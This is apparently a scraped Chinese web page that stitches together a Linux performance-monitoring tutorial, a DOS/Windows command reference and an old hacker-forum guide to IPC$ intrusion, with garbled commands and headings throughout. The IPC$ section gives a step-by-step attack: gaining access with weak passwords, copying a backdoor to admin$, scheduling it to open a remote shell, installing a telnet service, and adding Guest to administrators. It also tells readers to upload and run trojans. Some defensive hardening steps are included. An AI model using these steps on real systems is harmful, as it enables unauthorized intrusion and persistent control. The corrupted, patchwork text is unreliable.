怎样分析linux的性能指标
/e一、CPU
netstat怎么读 netstat怎么读音
netstat怎么读 netstat怎么读音
CPU利用率:User Time
<= 70%,System Time <= 35%,User Time + System
Time <= 70%。
上下文切换:与CPU利用率相关联,如果CPU利用率状态良好,大量的上下文切换也是可以接受的。
可运行队列:每个处理器的可运行队列<=3个线程。
2、工具
vmstat
$ vmstat 1
procs -----------memory---------- ---swap-------io---- ----
-----cpu------
r b swpd free buff cache si so bi bo in cs
us sy id wa st
14 0 140 2904316 3412 3952308 0 0 0 4601106 9593 36 64 1 0 0
17 0 140 2903492 3412 3951780 0 0 0 0 1037 9614 35 65 1 0 0
20 0 140 2902016 3412 3952000 0 0 0 0 1046 9739 35 64 1 0 0
17 0 140 2903904 3412 3951888 0 0 0 76 1044 9879 37 63 0 0 0
16 0 140 2904580 3412 3952108 0 0 0 0 1055 9808 34 65 1 0 0
重要参数:
b,被blocked的进程数,正在等待IO请求;
in,interrupts,被处理过的中断数
cs,context switch,系统上正在做上下文切换的数目
us,用户占用CPU的百分比
sys,内核和中断占用CPU的百分比
id,CPU完全空闲的百分比
上例可得:
sy高us低,以及高频度的上下文切换(cs),说明应用程序进行了大量的系统调用;
这台4核机器的r应该在12个以内,现在r在14个线程以上,此时CPU负荷很重。
查看某个进程占用的CPU资源
$ while :; do ps -eo pid,ni,pri,pcpu,psr,comm
| grep 'db_server_login'; sleep 1;
PID NIPRI %CPU PSR COMMAND
28577 0
23 0.0 0
db_server_login
28578 0
23 0.0 3
db_server_login
28579 0
23 0.0 2
db_server_login
28581 0
23 0.0 2
db_server_login
28582 0
23 0.0 3
db_server_login
28659 0
23 0.0 0
db_server_login
……
二、Memory
swap
in
(si)
==
0,swap
(so)
==
应用程序可用内存/系统物理内存
<=
70%
2、工具
vmstat
$ vmstat 1
procs -----------memory---------- ---swap-------io---- ----
-----cpu------
r b swpd free buff cache si so bi bo in csus
sy id wa st
0 3 252696 2432 268 7148 3604 2368 3608 2372 288 288 0 0 21 78 1
0 2 253484 2216 228 7104 5368 2976 5372 3036 930 519 0 0 0 100 0
0 1 259252 2616 128 6148 19784 18712 19784 18712 3821
1853 0 1 3 95 1
1 2 260008 2188 144 6824 11824 2584 12664 2584 1347 1174 14 0 0 86 0
2 1 262140 2964 128 5852 242 17304 24952 17304 4737 2341 86
10 0 0 4
重要参数:
swpd,已使用的 SWAP 空间大小,KB 为单位;
buff,物理内存用来缓存读写作的buffer大小,KB 为单位;
cache,物理内存用来缓存进程地址空间的 cache 大小,KB 为单位;
si,数据从 SWAP 读取到 RAM(swap in)的大小,KB 为单位;
so,数据从 RAM 写到 SWAP(swap out)的大小,KB 为单位。
上例可得:
物理可用内存 free 基本没什么显著变化,swapd逐步增加,说明最小可用的内存始终保持在 256MB(物理内存大小) 10% = 2.56MB 左右,当页达到10%的时候就开始大量使用swap。
free
total used free shared buffers cached
Mem: 8111 7185 926 0 243 6299
-/+ buffers/cache: 643 7468
Swap: 8189 0 8189
三、磁盘IO
iowait % < 20%
提高命中率的一个简单方式就是增大文件缓存区面积,缓存区越大预存的页面就越多,命中率也越高。
Linux 内核希望能尽可能产生次缺页中断(从文件缓存区读),并且能尽可能避免主缺页中断(从硬盘读),这样随着次缺页中断的增多,文件缓存区也逐步增大,直到系统只有少量可用物理内存的时候 Linux 才开始释放一些不用的页。
2、工具
查看物理内存和文件缓存情况
$ cat /proc/mem
MemTotal: 8182776 kB
MemFree: 3053808 kB
Buffers: 342704 kB
Cached: 3972748 kB
这台总共有 8GB 物理内存(MemTotal),3GB 左右可用内存(MemFree),343MB左右用/scannow来做磁盘缓存(Buffers),4GB左右用来做文件缓存区(Cached)。
sar
$ sar -d 2 3
Linux 2.6.9-42.ELp (webserver) 11/30/2008_i686_ (8 CPU)
11:09:33 PM DEV tps rd_sec/s wr_sec/s grq-szgqu-sz await svctm
%util
11:09:35 PM dev8-0 0.00 0.00 0.00 0.00 0.00 0.000.00 0.00
11:09:35 PM DEV tps rd_sec/s wr_sec/s grq-szgqu-sz await svctm
%util
11:09:37 PM dev8-0 1.00 0.00 12.00 12.00 0.000.00 0.00 0.00
11:09:37 PM DEV tps rd_sec/s wr_sec/s grq-szgqu-sz await svctm
%util
11:09:39 PM dev8-0 1.99 0.00 47.76 24.00 0.000.50 0.25 0.05
Average: DEV tpsrd_sec/s wr_sec/s grq-sz
gqu-sz await svctm %util
Average: dev8-0 1.00 0.00 19.97 20.00 0.00 0.330.17 0.02
重要参数:
await表示平均每次设备I/O作的等待时间(以毫秒为单位)。
svctm表示平均每次设备I/O作的服务时间(以毫秒为单位)。
%util表示一秒中有百分之几的时间用于I/O作。
如果svctm的值与await很接近,表示几乎没有I/O等待,磁盘性能很好,如果await的值远高于svctm的值,则表示I/O队列等待太长,系统上运行的应用程序将变慢。
如果%util接近,表示磁盘产生的I/O请求太多,I/O系统已经满负荷的在工作,该磁盘可能存在瓶颈。
四、Network IO
对于UDP
接收、发送缓冲区不长时间有等待处理的网络包
2、工具
netstat
对于UDP服务,查看所有的UDP端口的网络情况
$ watch netstat -lunp
Proto Recv-Q Send-Q Local
Address
Foreign
Address
State
PID/Program name
udp
0.0.0.0:64000
0.0.0.0:
-udp
0.0.0.0:38400
0.0.0.0:
-udp
0.0.0.0:38272
0.0.0.0:
-udp
0.0.0.0:36992
0.0.0.0:
-udp
0.0.0.0:17921
0.0.0.0:
-udp
0.0.0.0:11777
0.0.0.0:
-udp
0.0.0.0:14721
0.0.0.0:
-udp
0.0.0.0:36225
0.0.0.0:
-RecvQ、SendQ为0,或者不长时间有数值是比较正常的。
对于UDP服务,查看丢包情况(网卡收到了,但是应用层没有处理过来造成的丢包)
$ watch netstat -su
Udp:
278073881
packetsreceived
4083356897
packetsto unknown port received.
2474435364
packet
receive errors
1079038030
packetssent
packet receive errors 这一项数值增长了,则表明在丢包
对于TCP(来自didshan单卫的经验,thx~~)
对于TCP而言,不会出现因为缓存不足而存在丢包的事,因为网络等其他原因,导致丢了包,协议层也会通过重传机制来保证丢的包到达对方。
所以,tcp而言更多的专注重传率。
2、工具
# cat /proc/net/snmp | grep Tcp:
Tcp: RtoAlgorithm RtoMin RtoMaxMaxConn ActiveOpens PassiveOpens
AttemptFails EstabResets CurrEstab InSegsOutSegs RetransSegs
InErrs OutRsts
Tcp: 1 200 120000 -1 78447 413 50234 221 35984652 5653408 156800 0
849
重传率 = RetransSegs / OutSegs
至于这个值在多少范围内,算ok的,得看具体的业务了。
业务侧更关注的是响应时间。
性能分析工具汇总
CPU性能分析工具:
vmstat
ps
sar
time
strace
pstree
top
Memory性能分析工具:
vmstat
strace
top
ipcs
ipcrm
cat /proc/mem
cat -m ComrName/proc/slab
cat /proc//maps
I/O性能分析工具:
vmstat
ipstat
repquota
quotacheck
Network性能分析工具:
ifconfig
ereal
tereal
iptraf
iwconfig
nfsstat
mrtg
ntop
netstat
cat /proc/sys/net
一、处理器参数
这是一个很简单的参数,它直观的描述了每个CPU的利用率。在xSeries架构中,如果CPU的利用率长时间的超过80%,就可能是出现了处理器的瓶颈。
Runable processes
这个值描述了正在准备被执行的进程,在一个持续时间里这个值不应该超过物理CPU数量的10倍,否则CPU方面就可能存在瓶颈。
Blocked
描述了那些因为等待I/O作结束而不能被执行的进程,Blocked可能指出你正面临I/O瓶颈。
User time
描述了处理用户进程的百分比,包括n time。如果User time的值很高,说明系统性能用在处理实际的工作。
System time
描述了CPU花费在处理内核作包括IRQ和软件中断上面的百分比。如果 time很高说明系统可能存在网络或者驱动堆栈方面的瓶颈。一个系统通常只花费很少的时间去处理内核的作。
Idle time
描述了CPU空闲的百分比。
N time
描述了CPU花费在处理re-nicing进程的百分比。
Context switch
系统中线程之间进行交换的数量。
Waiting
CPU花费在等待I/O作上的总时间,与blocked相似,一个系统不应该花费太多的时间在等待I/O作上,否则你应该进一步检测I/O子系统是否存在瓶颈。
Interrupts
Interrupts值包括硬Interrupts和软Interrupts,硬Interrupts会对系统性能带
来更多的不利影响。高的Interrupts值指出系统可能存在一个软件的瓶颈,可能是内核或者驱动程序。注意Interrupts值中包括CPU时钟导
致的中断(现代的x系统每秒1000个Interrupts值)。
二、内存参数
Free memory
相比其他作系统,Linux空闲内存的值不应该做为一个性能参考的重要指标,因为就像我们之前提到过的,Linux内核会分配大量没有被使用的内存作为文件系统的缓存,所以这个值通常都比较小。
Swap usage
这个值描述了已经被使用的swap空间。Swap
In/Out的值长期保持在每秒200到300个页面通常就表示系统可能存在内存的瓶颈。
Buffer and cache
这个值描述了为文件系统和块设备分配的缓存。注意在Red Hat Enterprise Linux
3和更早一些的版本中,大部分空闲内存会被分配作为缓存使用。在Red Hat Enterprise Linux
4以后的版本中,你可以通过修改/proc/sys/vm中的page_cache_tuning来调整空闲内存中作为缓存的数量。
Slabs
描述了内核使用的内存空间,注意内核的页面是不能被交换到磁盘上的。
Active versus inactive memory
提供了关于系统内存的active内存信息,Inactive内存是被kswapd守护进程交换到磁盘上的空间。
三、网络参数
Packets received and sent
这个参数表示了一个指定网卡接收和发送的数据包的数量。
Bytes received and sent
这个参数表示了一个指定网卡接收和发送的数据包的字节数。
Collisions per second
这个值提供了发生在指定网卡上的网络冲突的数量。持续的出现这个值代表在网络架构上出现了瓶颈,而不是在端出现的问题。在正常配置的网络中冲突是非常少见的,除非用户的网络环境都是由hub组成。
Packets dropped
这个值表示了被内核丢掉的数据包数量,可能是因为防火墙或者是网络缓存的缺乏。
Overruns
Overruns表达了超出网络接口缓存的次数,这个参数应该和packets dropped值联系到一起来判断是否存在在网络缓存或者网络队列过长方面的瓶颈。
Errors
这个值记录了标志为失败的帧的数量。这个可能由错误的网络配置或者部分网线损坏导致,在铜口千兆以太网环境中部分网线的损害是影响性能的一个重要因素。
四、块设备参数
Iowait
CPU等待I/O作所花费的时间。这个值持续很高通常可能是I/O瓶颈所导致的。
Average queue length
I/O请求的数量,通常一个磁盘队列值为2到3为情况,更高的值说明系统可能存在I/O瓶颈。
Average wait
响应一个I/O作的平均时间。Average wait包括实际I/O作的时间和在I/O队列里等待的时间。
Transfers per second
描述每秒执行多少次I/O作(包括读和写)。Transfers per second的值与kBytes per second结合起来可以帮助你估计系统的平均传输块大小,这个传输块大小通常和磁盘子系统的条带化大小相符合可以获得的性能。
Blocks read/write per second
这个值表达了每秒读写的blocks数量,在2.6内核中blocks是1024bytes,在早些的内核版本中blocks可以是不同的大小,从512bytes到4kb。
Kilobytes per second read/write
按照kb为单位表示读写块设备的实际数据的数量。
不知道你是不是指性能测试,使用UnixBench跑一下就有了。
linux下怎么查看Oracle端口号
2)删除共享(每次输入一个)Linux下查看Oracle端口号的方式方法:
利用“ cat /etc/servs ”命令,查看所有服务默认的端口信息,oracle包括在内,如图:
如果Oracle正在使用,可以通过netstat”命令来查看其端口信息,如图:
利用“nestat -a”命令,查看oracle端口的、链接等信息,如图:
利用" netstat -ap"命令查看,(该命令也适用于查看所有服务端口和对应的程out序名称)如图:
查看oracle listener配置文件
或者 netstat十三、Set -anp|grep tnslsnr
为什么我在格式化的时候会出现。不是内部或外部命令,也不是可运行的程序
来查询,查询的结果是否正常来判断文件是否完整。在LINUX下使用rpm来检查文件的完整性的方法也很多,这里不一一赘述,可以man命令:
dir 列文件名 deltree 删除目录树 cls 清屏 cd 改变当前目录
copy 拷贝文件 diskcopy 磁盘 del 删除文件 format 格式化磁盘
edit 文本编辑 mem 查看内存状况 md 建立子目录 move 移动文件、改目录名
more 分屏显示 type 显示文件内容 rd 删除目录 sys 制作DOS系统盘
ren 改变文件名 xcopy 拷贝目录与文件 chkdsk 检查磁盘 attrib 设置文件属性
fdisk 硬盘分区 date 显示及修改号期 label 设置卷标号 defrag 磁盘碎片整理
msd 系统检测 path 设置搜寻目录 share 文件共享 memmaker内存优化管理
帮助 restore 恢复备份文件 set 设置环境变量 time 显示及修改时间
tree 列目录树 debug 随机调试程序 doskey 重新调用DOS命令 prempt 设置提示符 undelete恢复被删的文件 scandisk检测、修理磁盘
常用命令具体介绍:
一、Dir
显示目录文件和子目录列表,呵呵,这个当然是人人要知道的。
可以使用通配符(? 和 ),?表通配一个字符,表通配任意字符
.后缀
指定要查看后缀的文件。 上面其实也可以为“ . 后缀”,例如dir .exe 等于dir .exe
/p
每次显示一个列表屏幕。要查看下一屏,请按键盘上的任意键。
/w
以宽格式显示列表,在每一行上最多显示 5 个文件名或目录名。
/s
列出指定目录及所有子目录中出现的每个指定的文件名。比win环境下的查找快多了
dir . -> a.txt 把当前目录文件列表写入a.txt
dir . /s -> a.txt 把当前目录文件列表写入a.txt,包括子目录下文件。
二、Attrib
显示、设置或删除指派给文件或目录的只读、存档、系统以及隐藏属性。如果在不含参数的情况下使用,则 attrib 会显示当前目录中所有文件的属性。
+r
设置只读属性。
-r
清除只读属性。
+a
设置存档文件属性。
-a
清除存档文件属性。
+s
设置系统属性。
-s
清除系统属性。
+h
设置隐藏属性。
-h
清除隐藏属性。
三、Cls
四、Exit
退出当前命令解释程序并返回到系统。
五、format
格式化
/q
执行快速格式化。删除以前已格式化卷的文件表和根目录,但不在扇区之间扫描损坏区域。使用 /q 命令行选项应该仅格式化以前已格式化的完好的卷。
六、Ipconfig
显示所有当前的 TCP/IP 网络配置值、刷新动态主机配置协议 (DHCP) 和域名系统 (DNS) 设置。使用不带参数的 ipconfig 可以显示所有适配器的 IP 地址、子网掩码、默认。
/all
显示所有适配器的完整 TCP/IP 配置信息。
ipconfig 等价于 winipcfg,后者在ME、98 和 95 上可用。尽管 Windows XP 没有提供象 winipcfg 命令一样的图形化界面,但可以使用“网络连接”查看和更新 IP 地址。要做到这一点,请打开 网络连接,右键单击某一网络连接,单击“状态”,然后单击“支持”选项卡。
该命令最适用于配置为自动获取 IP 地址的计算机。它使用户可以确定哪些 TCP/IP 配置值是由 DHCP、自动专用 IP 地址 (APIPA) 和其他配置配置的。
七、md
创建目录或子目录
八、Move
将一个或多个文件从一个目录移动到指定的目录。
显示本地计算机和远程计算机的基于 TCP/IP (NetBT) 协议的 NetBIOS 统计资料、NetBIOS 名称表和 N
-a remotename
显示远程计算机的 NetBIOS 名称表,其中,RemoteName 是远程计算机的 NetBIOS 计算机名称。
-A IPAddress
显示远程计算机的 NetBIOS 名称表,其名称由远程计算机的 IP 地址指定(以小数点分隔)。
十、Netstat
显示活动的 TCP 连接、计算机侦听的端口、以太网统计信息、IP 路由表、IPv4 统计信息(对于 IP、ICMP、TCP 和 UDP 协议)以及 IPv6 统计信息(对于 IPv6、ICMPv6、通过 IPv6 的 TCP 以及通过 IPv6 的 UDP 协议)。使用时如果不带参数,netstat 显示活动的 TCP 连接。
-a
显示所有活动的 TCP 连接以及计算机侦听的 TCP 和 UDP 端口。
十一、Ping
通过发送“网际消息控制协议 (ICMP)”回响请求消息来验证与另一台 TCP/IP 计算机的 IP 级连接。回响应答消息的接收情况将和往返过程的次数一起显示出来。Ping 是用于检测网络连接性、可到达性和名称解析的疑难问题的主要 TCP/IP 命令。如果不带参数,ping 将显示帮助。名称和Ip地址解析是它的最简单应用也是用的最多的。
-t
指定在中断前 ping 可以持续发送回响请求信息到目的地。要中断并显示统计信息,请按 CTRL-BREAK。要中断并退出 ping,请按 CTRL-C。
-lSize
指定发送的回响请求消息中“数据”字段的长度(以字节表示)。默认值为 32。size 的值是 65,527。
十二、Rename (Ren)
更改文件的名称。
例如 ren .abc .cba
显示、设置或删除环境变量。如果没有任何参数,set 命令将显示当前环境设置。
十四、Shutdown
允许您关闭或重新启动本地或远程计算机。如果没有使用参数,shutdown 将注销当前用户。
指定要关闭的计算机。
-t xx
将用于系统关闭的定时器设置为 xx 秒。默认值是 20 秒。
-l
注销当前用户,这是默认设置。-m ComrName 优先。
-s
关闭本地计算机。
-r
关闭之后重新启动。
-a
中止关闭。除了 -l 和 ComrName 外,系统将忽略其它参数。在超时期间,您只可以使用 -a。
十五、System File Checker (sfc)
win下才有,在重新启动计算机后扫描和验
证所有受保护的系统文件。
立即扫描所有受保护的系统文件。
/scanonce
一次扫描所有受保护的系统文件。
/purgecache
立即清除“Windows 文件保护”文件高速缓存,并扫描所有受保护的系统文件。
/cachesize=x
设置“Windows 文件保护”文件高速缓存的大小,以 MB 为单位。
十六、type
显示文本文件的内容。使用 type 命令查看文本文件或者是bat文件而不修改文件
十七、Tree
图像化显示路径或驱动器中磁盘的目录结构。
十八、Xcopy
文件和目录,包括子目录。
/s
非空的目录和子目录。如果省略 /s,xcopy 将在一个目录中工作。
所有子目录,包括空目录。
十九、copy
将一个或多个文件从一个位置到其他位置
二十、del
删除指定文件。
ftp和bat批命令和net和net由于子命令太多,这里不说了,不过这几个都是常用到的。
网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄.
不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的许多迷惑(你随便找一个hack搜一下ipc,看存在的疑惑有多少).
因此我写了这篇相当于解惑的教程.想把一些容易混淆,容易迷惑人的问题说清楚,让大家不要总徘徊在原地!如果你看完这篇帖子仍有疑问,请马上回复!
二 什么是ipc$
IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的),它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的会禁止导出用户列表的)。
我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。
所有的这些,初衷都是为了方便的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的.
解惑:
1)IPC连接是Windows NT及以上系统有的远程网络登陆功能,其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数,所以不能在Windows 9.x中运行。
也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是,不过现在都2003年了,建议98的同志换一下系统吧,98不爽的)
2)即使是空连接也不是都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接
3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为可以禁止导出用户列表
三 建立ipc$连接在hack攻击中的作用
就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有
一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以身份登陆,嘿嘿,就不用我在多说了吧,what u want,u can do!!
(基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server,还可以考虑开启终端服务方便控制.怎么样?够厉害吧!)
不过你也不要高兴的太早,因为的密码不是那么好搞到的,虽然会有一些傻傻的用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,们也愈加小心了,得到密码会越来越难的:(
因此今后你的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是的,甚至在主机不开启ipc$共享时,你根本就无法连接.
所以我认为,你不要把ipc$入侵当作武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是ipc$连接在hack入侵中的意义所在.
四 ipc$与空连接,139,445端口,默认共享的关系
以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂)
1)ipc$与空连接:
不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了.
许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟).
2)ipc$与139,445端口:
ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.
3)ipc$与默认共享
默认共享是为了方便远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)
五 ipc$连接失败的原因
以下5个原因是比较常见的:
1)你的系统不是NT或以上作系统;
2)对方没有打开ipc$默认共享
3)对方未开启139或445端口(惑被防火墙屏蔽)
4)你的命令输入有误(比如缺少了空格等)
5)用户名或密码错误(空连接当然无所谓了)
另外,你也可以根据返回的错误号分析原因:
错误号5,拒绝访问 : 很可能你使用的用户不是权限的,先提升权限;
错误号51,Windows 无法找到网络路径 : 网络有问题;
错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
错误号1326,未知的用户名或错误密码 : 原因很明显了;
错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
关于ipc$连不上的问题比较复杂,除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就大家自己体会和试验了.
六 如何打开目标的IPC$(此段引自相关文章)
首先你需要获得一个不依赖于ipc$的shell,比如sql的cmd扩展、net、木马,当然,这shell必须是admin权限的,然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上面可以知道,ipc$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它(不知道怎么做的请看net命令的用法),还是不行的话(比如有防火墙,杀不了)建议放弃。
七 如何防范ipc$入侵
1禁止空连接进行枚举(此作并不能阻止空连接的建立,引自《解剖win2000下的空会话》)
首先运行regedit,找到如下组建[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA]把RestrictAnonymous = DWORD的键值改为:00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)
2禁止默认共享
1)察看本地共享资源
运行-cmd-输入net share
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以继续删除)
3)停止server服务
net stop server /y (重新启动后server服务会重新开启)
4)修改注册表
运行-regedit
server版:找到如下主键[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServsLanmanParameters]把AutoShare(DWORD)的键值改为:00000000。
pro版:找到如下主键[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServsLanmanParameters]把AutoShareWks(DWORD)的键值改为:00000000。
如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。
3关闭ipc$和默认共享依赖的服务:lanmanserver即server服务
控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用
4安装防火墙(选中相关设置),或者端口过滤(滤掉139,445等),或者用新版本的优化
5设置复杂密码,防止通过ipc$穷举密码
八 相关命令
1)建立空连接:
net use $">IPipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格)
2)建立非空连接:
net use $">IPipc$ "用户名" /user:"密码" (同样有3个空格)
3)映射默认共享:
net use z: $">IPc$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推)
如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: $">IPc$
4)删除一个ipc$连接
net&nbs
p;use $">IPipc$ /del
5)删除共享映射
net use c: /del 删除映射的c盘,其他盘类推
net use /del 删除全部,会有提示要求按y确认
九 经典入侵模式
这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈)
11. C:>net use $">127.0.0.1IPC$ "密码" /user:"用户名"
一般用流光,通过扫描弱口令来得到,帐号和密码.
2. C:>copy srv.exe $">127.0.0.1admin$
先srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:winnt32,大家还可以使用c$、d$,意思是C盘与D盘,这看你要到什么地方去了)。
3. C:>net time 127.0.0.1
查查时间,发现127.0.0.1 的当前时间是 2004/6/15 上午 11:00,命令成功完成。
4. C:>at 127.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧
5. C:>net time 127.0.0.1
再查查到时间没有?如果127.0.0.1 的当前时间是 2004/6/15 上午 11:05,那就准备开始下面的命令。
6. C:>net 127.0.0.1 99
这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。
虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了
7.C:>copy ntlm.exe $">127.0.0.1admin$
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
8. C:WINNT32>ntlm
输入ntlm启动(这里的C:WINNT32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start net"来开启Telnet服务!
9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,作就像在DOS上作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)
为了以防万一,我们再把guest激活加到管理组
10. C:>net user guest /active:yes
将对方的Guest用户激活
11. C:>net user guest 1234
将Guest的密码改为1234,或者你要设定的密码
12. C:>net localgroup administrators guest /add
将Guest变为Administrator(如果密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)
ipc$常见问题:
1,怎样建立空连接,它有什么用?
答:使用命令 net use IPipc$ "" /user:"" 就可以简单地和目标建立一个空连接(需要目标开放ipc$)。
对于NT,在默认安全设置下,借助空连接可以列举目标用户、共享,访问ryone权限的共享,访问小部分注册表等,没有什么利用价值。对2000作用就更小了。而且实现也不方便,需借助工具。
2.为什么我连不上IPC$?
答:1.只有nt/2000/xp及以上系统才可以建立ipc$。如果你用的是98/me是没有该功能的。
2.确认你的命令没有打错。正确的命令是: net use 目标IPipc$ "密码" /user:"用户名"
注意别多了或少了空格。当用户名和密码中不包含空格时两边的双引号可以省略。空密码用""表示。
3,根据返回的错误号分析原因:
错误号5,拒绝访问 : 很可能你使用的用户不是权限的,先提升权限;
错误号51,Windows 无法找到网络路径 : 网络有问题;
错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
错误号1326,未知的用户名或错误密码 : 原因很明显了;
错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
4,关于ipc$连不上的问题比较复杂,没有总结出一个统一的认识,在肉鸡上实验有时会得出矛盾的结论,十分棘手。 而且知道了问题所在,如果没有用其他办法获得shell,很多问题依然不能解决。
5,怎样打开目标的IPC$?
答:首先你需要获得一个不依赖于ipc$的shell,比如sql的cmd扩展、net、木马。当然,这shell必须是admin权限的。然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上一问题可以知道,ipc$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它(不知道怎么做的请看net命令的用法)。还是不行的话(比如有防火墙,杀不了)建议放弃。
6,怎样映射和访问默认共享?
答:使用命令 net use z: 目标IPc$ "密码" /user:"用户名" 将对方的c盘映射为自己的z盘,其他盘类推。
如果已经和目标建立了ipc$,则可以直接用IP加盘符加$访问。比如 copy muma.exe IPd$pathmuma.exe 。或者再映射也可以,只是不用用户名和密码了:net use y: IPdoned$ 。然后 copy muma.exe y:pathmuma.exe 。当路径中包含空格时,须用""将路径全引住。
7,如何删除映射和ipc$连接?
答:用命令 net use IPipc$ /del 删除和一个目标的ipc$连接。
用命令 net use z: /
del 删除映射的z盘,其他盘类推。
用命令 net use /del 删除全部。会有提示要求按y确认。
8,连上ipc$然后我能做什么?
答:能使用权限的帐号成功和目标连接ipc$,表示你可以和对方系统做深入“交流”了。你可以使用各种命令行方式的工具(比如pstools系列、Win2000SrvReskit、nack等)获得目标信息、管理目标的进程和服务等。如果目标开放了默认共享(没开你就帮他开),你就可以上传木马并运行。也可以用tftp、ftp的办法上传。像dwrcc、VNC、RemoteAdmin等工具(木马)还具有直接控屏的功能。如果是2000server,还可以考虑开启终端服务方便控制。这里提到的工具的使用,请看自带的说明或相关教程。
9,怎样防止别人用ips$和默认共享入侵我?
答:A、一种办法是把ipc$和默认共享都删除了。但重起后还会有。这就需要改注册表。
1,先把已有的删除
net share ipc$ /del
net share admin$ /del
net share c$ /del
…………(有几个删几个)
2,禁止别人空连接
首先运行regedit,找到如下主键[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA]把RestrictAnonymous(DWORD)的键值改为:00000002。
3,禁止自动打开默认共享
对于server版,找到如下主键[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServsLanmanParameters]把AutoShare(DWORD)的键值改为:00000000。
对于pro版,则是[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServsLanmanParameters]把AutoShareWks(DWORD)的键值改为:00000000。
如果上面所说的主键不存在,就新建一个再改键值。
B、另一种是关闭ipc$和默认共享依赖的服务(不)
net stop lanmanserver
